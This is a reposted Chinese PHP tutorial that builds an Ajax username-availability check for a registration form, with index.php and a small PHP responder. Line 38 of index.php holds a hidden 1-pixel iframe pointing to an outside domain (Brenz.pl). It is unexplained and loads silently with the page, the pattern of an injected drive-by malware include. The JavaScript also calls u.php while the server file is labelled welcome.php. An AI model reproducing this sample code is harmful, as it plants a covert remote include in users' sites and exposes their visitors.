PHP系列之集成Ajax实现登录验证

举报
yd_273762914 发表于 2020/12/02 23:16:07 2020/12/02
【摘要】  设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示   我们先打index.php <html> <head> <meta http-equiv="content-type" content="text/html; charset=gb2312" /> <script t...



设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

 

我们先打index.php


  
  1. <html>
  2. <head>
  3. <meta http-equiv="content-type" content="text/html; charset=gb2312" />
  4. <script type="text/JavaScript">
  5. function Ajax(){
  6. var xmlHttpReq=null;//初始对象xmlHttpReq
  7. if(window.ActiveXObject){
  8. xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP");
  9. }else if(window.XMLHttpRequest){
  10. xmlHttpReq=new XMLHttpRequest();
  11. }
  12. var userId=document.getElementById("userId").value;//value取得id为userId的值
  13. url="u.php?userId="+userId;//路径
  14. if(xmlHttpReq!=null){//若对象实例化创建成功
  15. xmlHttpReq.open("GET",url,true);//open()打开请求
  16. xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack()
  17. xmlHttpReq.send(null);//请求不包括正文
  18. }
  19. function RequestCallBack(){//回调函数
  20. if(xmlHttpReq.readystate==4){
  21. if(xmlHttpReq.status==200){//请求成功
  22. document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div
  23. }
  24. }
  25. }
  26. }
  27. </script>
  28. </head>
  29. <body>
  30. <font>
  31. 注册
  32. </font><br>
  33. <form>
  34. 用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()">
  35. <div id="get">
  36. </div>
  37. </form>
  38. <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
  39. </body>
  40. </html>

 

welcome.php

 

 


  
  1. <?php
  2. header("content-type:text/html;charset=gb2312");
  3. //sleep(1);
  4. $userId=$_GET["userId"];
  5. if($userId=="管理员"){
  6. echo "用户名已存在!";
  7. }else{
  8. echo "该用户名可以注册";
  9. }
  10. ?>

 

 

 

 

 

 

文章来源: smilenicky.blog.csdn.net,作者:smileNicky,版权归原作者所有,如需转载,请联系作者。

原文链接:smilenicky.blog.csdn.net/article/details/50901082

【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。